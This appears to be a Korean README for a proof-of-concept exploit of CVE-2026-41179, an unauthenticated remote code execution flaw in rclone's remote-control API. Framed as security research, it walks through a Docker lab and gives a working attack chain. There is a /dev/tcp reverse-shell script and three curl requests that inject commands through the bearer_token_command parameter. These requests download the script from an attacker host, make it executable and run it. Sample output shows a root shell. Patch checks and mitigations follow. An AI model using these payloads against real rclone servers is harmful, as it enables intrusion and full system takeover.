
CVE-2026-41179에 대한 POC
⚠️ 교육 목적으로만 제공 이 저장소는 보안 연구, 교육 및 인가된 실습 환경에서만 사용하도록 엄격히 제한됩니다. PSSec 및 이 저장소의 기여자들은 본 저장소에 포함된 정보, 코드 또는 기술의 무단, 불법 또는 악의적 사용을 묵인하거나 지지하지 않으며 이에 대한 어떠한 책임도 지지 않습니다. 이 저장소를 사용함으로써 귀하는 자신의 행동에 전적으로 책임이 있으며, 소유한 시스템 또는 명시적 서면 허가를 받은 시스템에 대해서만 테스트를 수행할 것에 동의합니다.
CVE-2026-41179는 rclone에 내장된 원격 제어(RC) API에서 발견된 치명적인 인증 없는 원격 코드 실행(RCE) 취약점으로, 1.48.0부터 1.73.4까지의 버전에 영향을 미칩니다.
| 세부 정보 | 값 |
|---|
| CVE | CVE-2026-41179 |
| CVSS 점수 | 9.8 (치명적) |
| 영향을 받는 버전 | rclone 1.48.0 – 1.73.4 |
| 패치된 버전 | rclone 1.73.5 |
| 구성 요소 | RC API (/operations/fsinfo 엔드포인트) |
| 공격 벡터 | 네트워크 — 인증 불필요 |
rclone에는 기본 제공되는 HTTP 원격 제어 인터페이스(rcd)가 포함되어 있습니다. /operations/fsinfo 엔드포인트는 사용자가 제공한 fs= 문자열을 받아 구문 분석한 후 백엔드를 인스턴스화하는 데 사용합니다 — WebDAV 백엔드를 포함합니다. WebDAV 백엔드는 bearer_token_command 매개변수를 지원하며, 이 매개변수는 검증 없이 exec.Command()에 직접 전달됩니다. 이 엔드포인트는 기본적으로 인증이 필요 없기 때문에, 인증되지 않은 공격자가 rclone 프로세스 사용자 권한으로 임의의 OS 명령 실행을 트리거할 수 있습니다.
간단한 공격 체인:
POST /operations/fsinfo (no auth)
→ rc.GetFs() parses attacker-controlled fs= string
→ WebDAV backend instantiated with attacker params
→ bearer_token_command extracted
→ exec.Command() fires OS command
→ RCE as rclone process user
CVE-2026-41179/
├── Dockerfile.rclone # Vulnerable rclone image (v1.69.3)
├── patched.Dockerfile.rclone # Patched rclone image (v1.73.5)
├── poc.sh # Reverse shell payload
└── instructions # Step-by-step lab walkthrough
netcatdocker build -t rclone-vuln -f Dockerfile.rclone .
rclone v1.69.3을 실행하고 RC API를 포트 5572에 노출하는 Debian-slim 컨테이너를 빌드합니다.
docker run -d --name rclone-vuln -p 5572:5572 rclone-vuln
이제 RC API는 http://127.0.0.1:5572에서 인증 없이 접근할 수 있습니다.
penelope -p 5555
# OR
nc -lvnp 5555
poc.sh를 편집하여 공격자 IP와 리스닝 포트를 설정하세요:
#!/bin/bash
bash -i >& /dev/tcp/<attacker-ip>/<listening-port> 0>&1
poc.sh와 같은 디렉터리에서 다음을 실행하세요:
python3 -m http.server 8888
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/usr/bin/curl -o /tmp/shell.sh http://<attacker-ip>:8888/poc.sh':'
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/bin/chmod +x /tmp/shell.sh':'
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/tmp/shell.sh':'
리스너를 확인하세요 — 컨테이너에서 루트 셸을 수신했을 것입니다:
[+] Got reverse shell from f7697b831050~172.17.0.3-Linux-x86_64
[+] Shell upgraded successfully using /usr/bin/script!
whoami
root
패치된 이미지를 사용하여 1~8단계를 반복하고 취약점이 수정되었는지 확인하세요:
docker build -t rclone-patched -f patched.Dockerfile.rclone .
docker run -d --name rclone-patched -p 5573:5572 rclone-patched
포트 5573에 동일한 curl 요청을 보내보세요 — 명령이 실행되지 않아야 합니다.
--rc-user 및 --rc-pass 플래그와 함께 rcd를 시작하세요.5572)에 대한 네트워크 접근을 제한하세요 — 신뢰할 수 없는 네트워크에 노출되어서는 안 됩니다.--rc-no-auth=false(패치된 버전의 새로운 기본값)를 명시적으로 사용하는 것을 고려하세요.이 저장소는 교육 및 인가된 보안 연구 목적으로만 제공됩니다. 개념 증명(PoC) 코드는 통제된 Docker 실습 환경에서 실제 취약점을 시연합니다.
PSSec 및 모든 기여자:
이 코드를 운영(프로덕션) 시스템이나 소유하지 않은 시스템에 무단으로 사용하면 해당 관할권의 컴퓨터 사기 및 사이버 범죄 관련 법률을 위반할 수 있습니다.
CVE-2026-41179 — PSSec 연구